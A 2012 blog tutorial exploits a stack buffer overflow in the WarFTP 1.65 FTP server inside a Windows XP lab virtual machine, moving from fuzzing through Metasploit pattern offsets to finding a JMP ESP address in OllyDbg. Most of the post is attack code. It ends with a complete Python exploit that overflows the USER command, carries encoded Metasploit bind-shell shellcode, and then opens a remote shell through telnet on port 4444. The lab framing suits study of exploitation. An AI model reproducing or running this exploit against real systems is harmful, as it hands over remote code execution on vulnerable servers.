Sunday, February 5, 2012

Reverse Engineering WarFTP

Finally, after preparing OllyDbg and WarFTP on our machine, its time to put reverse engineering in action.

What I do in this post is based on my sensei's book titled "Harmless Hacking". Lets get started. 

- Start your Windows XP machine.
- Open WarFTP and start its service by clicking Properties > Start Service
- Lets check the connection using nc
# nc 192.168.56.101 21
If the connection is working. Then this text will appear.

220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
- Lets do some fuzzing first. Make a python file with this code inside.
Spoiler:
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="\x41"*1000
s.connect(('192.168.56.101',21))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD '+'\r\n')
s.close()
print("Finish")
Save with .py extention.

- Lets execute the fuzzer (Make sure that you can see the machine window to see what happened at the software when we execute the fuzzer)

# python fuzzer.py
- Whoops, the program closes by itself. It is because WarFTP don't use SEH to handle an exception.

- Ok, next is the debugging process. Prepare your OllyDbg.
- Start your WarFTP again. Noticed something?

- At this point WarFTP can't start because its user configuration file as the results from our fuzzing process before is broken. To repair it, simply delete a file called "FtpDaemon.dat" at the folder where you install WarFTP. If you install it in the default directory, it should be located at C:\Program Files\War-ftpd.

- Start again your WarFTP. It should be running correctly.
- Create a new user by clicking this button below the menu bar.
Click Add

Choose the username

Enter the password for the account.

In this case I create user 'agoes' with a password 'agoes'
- Okay, attack the software using the fuzzer again. But before that, don't forget to start WarFTP service again.
- Lets see what happened at WarFTP by running it in OllyDbg.
- Start your OllyDbg and attach to the WarFTP service

- Attack again with the fuzzer and see what happen to the WarFTP and OllyDbg.
- Before using OllyDbg we can't see what happened with the WarFTP, but after using it, we can see what happened.
- As you can see here, EIP register is fully overwritten. This is dangerous because as you know, EIP stored what command that will be executed.

- Next step is to find where byte is EIP register overwritten. If you can find it, the byte at that address can be changed with a 32 bit value that contain an address of your payload. To help us find it, we can use metasploit.
- One of metasploit tools 'pattern_create' can create a structured dummy data. This will help us locate the real string in the packet data sent by our fuzzer. 
- Enter metasploit tools directory
# cd /pentest/exploits/framework/tools
- To create a 1000 bytes data, execute this command.
# ./pattern_create.rb 1000 > patternku.txt
It will create a 1000 bytes string pattern saved as patternku.txt

- Next, change the fuzzer code with the generated string.
Spoiler:
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
#buffer="\x41"*1000
s.connect(('192.168.56.101',21))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD '+'\r\n')
s.close()
print("Selesai")
- Execute the newly created fuzzer and see what happen to the OllyDbg.

- Next, we use other metasploit tool called 'pattern_offset'. This tool is used to calculate the byte created by pattern_create. The location is the same as pattern_create
- To execute the command, just add the value in the ESP and EIP after the command.
# ./pattern_offset.rb 32714131
485
# ./pattern_offset.rb q4Aq5Aq
493
- As you can see, to reach EIP register 485 bytes data is needed and to reach ESP register 493 bytes data is needed. Based on this we can conclude that EIP register will be overwriteen at 486, 487, 488, and 489. 
- To make sure that this concept is true, lets put it on a test. 
- Modify the fuzzer script that we've created before.
Spoiler:
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
nilaiEIP="\x90"*485
nilaiEIP+="\xEF\xBE\xAD\xDE"
#buffer="\x41"*1000
s.connect(('192.168.56.101',21))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+nilaiEIP+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD '+'\r\n')
s.close()
print("Selesai")
- Once again, attack with the fuzzer and see what happen in OllyDbg
- Jackpot! Successfully overwritten

- Next, we try to overwrite the ESP register. 
- Once again, modify the fuzzer code.
Spoiler:
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="\x90"*485
buffer+="\xEF\xBE\xAD\xDE"
buffer+="\x90"*(493-len(buffer))
buffer+="\xCC"*(1000-len(buffer))
s.connect(('192.168.56.101',21))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD '+'\r\n')
s.close()
print("Selesai")
- Again, run the fuzzer and see what happen in OllyDbg

- Bingo, all stack only contain the NOP value that we sent and the EIP is still overwritten.
At this point, we've gain the control over ESP and EIP registers.

- Next thing that we must do is find out the location of the process that read the stack in the memory. To do this, we can use 'JMP ESP' to help us. JMP ESP is a command used by the application to read the data inside the buffer memory. 
- So, how to find JMP ESP in WarFTP. Using the help of OllyDbg' module we can do that easily.
- Start your OllyDbg and attach to the WarFTP service.
- Click View > Executable modules, a window showing all library used by WarFTP while running.

- We will choose shell32.dll as the target. Double click it.
- After that, at the main window right click > search for > command, a new window will appear to search a command. Enter 'JSP ESP' in the search box.

- Transform the offset memory address to a little endian.
In my case, 7C9D30D7 will be \xD7\x30\x9D\x7C
- Modify the fuzzer again.
Spoiler:
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="\x90"*485
buffer+="\xD7\x30\x9D\x7C"
buffer+="\xCC"*(493-len(buffer))
buffer+="\xCC"*(1000-len(buffer))
s.connect(('192.168.56.101',21))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD '+'\r\n')
s.close()
print("Selesai")
- Run the fuzzer and see what happen in OllyDbg

- Success, WarFTP point the system to read the buffer stack.
- As you notice here, EIP register's value changed into 00AFFD59. Why? because EIP store the command that will be executed next. To make sure address 7C9D30D7 is really read by EIP, lets do some test.
- Give a breakpoint at 7C9D30D7, run the fuzzer and watch the result in OllyDbg.
As you can see, OllyDbg preventing access to address 7C9D30D7. EIP value 7C9D30D7.

- Next thing we must do is creating a payload to be inserted in the fuzzer. We will use msfweb to generate the payload code.
- Enter the msfweb directory located in the framework2
# cd /pentest/exploits/framework2
- Start the service
# ./msfweb

- Open the address provided in the browser. Usually 127.0.0.1:55555 or localhost:55555

- Click "PAYLOADS" on the menu because we only want to create payload.
- Filter the list by choosing "os::win32" at the filter options.


- I'll use windows bind shell. This will spawn a shell on the target.
- Fill out the required fields and when you're ready click "Generate"

- Next, we have to insert the code to our fuzzer
Spoiler:
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="\x90"*485
buffer+="\xD7\x30\x9D\x7C"
buffer+="\x90"*32
buffer+="\x29\xc9\xda\xd8\xb1\x51\xd9\x74\x24\xf4\xbe\x84\x94\xfa\x64\x5b"
buffer+="\x31\x73\x15\x83\xeb\xfc\x03\xf7\x85\x18\x91\x0b\xcf\x37\x17\x1b"
buffer+="\xe9\x37\x57\x24\x6a\x43\xc4\xfe\x4f\xd8\x50\xc2\x04\xa2\x5f\x42"
buffer+="\x1a\xb4\xeb\xfd\x04\xc1\xb3\x21\x34\x3e\x02\xaa\x02\x4b\x94\x42"
buffer+="\x5b\x8b\x0e\x36\x18\xcb\x45\x41\xe0\x06\xa8\x4c\x20\x7d\x47\x75"
buffer+="\xf0\xa6\x80\xfc\x1d\x2d\x8f\xda\xdc\xd9\x56\xa9\xd3\x56\x1c\xf2"
buffer+="\xf7\x69\xc9\x0f\x24\xe1\x84\x63\x10\xe9\xf7\xb8\x69\xca\x9c\xb5"
buffer+="\xc9\xdc\xd7\x89\xc1\x97\x98\x15\x77\x2c\x18\x2d\xd9\x5b\x17\x63"
buffer+="\xeb\x77\x77\x84\x25\xe1\x2b\x1c\xa2\xdd\xf9\x88\x45\x51\xcc\x17"
buffer+="\xfe\x6a\xe0\xcf\x35\x79\xfd\x34\x9a\x7d\x28\x15\x93\x67\xb3\x28"
buffer+="\x4e\x6f\x3e\x7f\xfb\x72\xc1\xaf\x93\xab\x34\xba\xc9\x1b\xb8\x92"
buffer+="\x41\xf7\x15\x49\x35\xb4\xca\x2e\xea\xc5\x3d\xd6\x64\x2b\xe2\x70"
buffer+="\x26\xc2\xfb\xe9\xa0\x70\xe1\x61\xf6\x2e\xe9\x57\x92\xc0\x44\x02"
buffer+="\x9c\x31\x0e\x08\xcf\x9c\x26\x07\xef\x37\xeb\xf2\xf0\x68\x64\x19"
buffer+="\x47\x0f\x3c\xb6\xa7\xd9\xef\x6c\x0c\xb3\xf0\x5c\x3f\x53\xe8\x25"
buffer+="\x86\xdd\xa1\x2a\xd0\x4b\xb1\x04\xbb\x19\x29\xc2\x2c\xbd\xdc\x83"
buffer+="\x48\x2b\x4f\xca\xbb\x60\xe6\x0b\xd1\x3c\x70\x31\x17\x7d\x71\x1f"
buffer+="\xa6\x3f\x5b\xa1\x15\xec\x30\xd0\xe0\xd4\x9d\x41\xbf\x4d\x90\x6b"
buffer+="\x73\x9b\xab\xe6\x30\x5b\x85\x53\xee\xf1\x7b\x32\x41\x9c\x7a\xe5"
buffer+="\x30\x35\x2c\xfa\x63\xdd\x63\xdd\x81\xd0\x2f\x22\x5f\x86\x30\x23"
buffer+="\x57\xa8\x1f\x50\xcf\xaa\x23\xa2\x94\xad\xf2\x78\xaa\x82\x93\x02"
buffer+="\x8c\xc1\x17\xa9\xd3\xd0\x27\x9d"
s.connect(('192.168.56.101',21))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
data=s.recv(1024)
s.send('PASS PASSWORD '+'\r\n')
s.close()
print("Selesai")


- Open WarFTP normally without OllyDbg
- Run the fuzzer

- Connect to the machine using telnet through the created port.
# telnet 192.168.56.101 4444

Great, It works. Looks like we've already owned the machine.  :)
Our Reverse Engineering against WarFTP succeeded.

"the quieter you become, the more you are able to hear.."

0 comments:

Post a Comment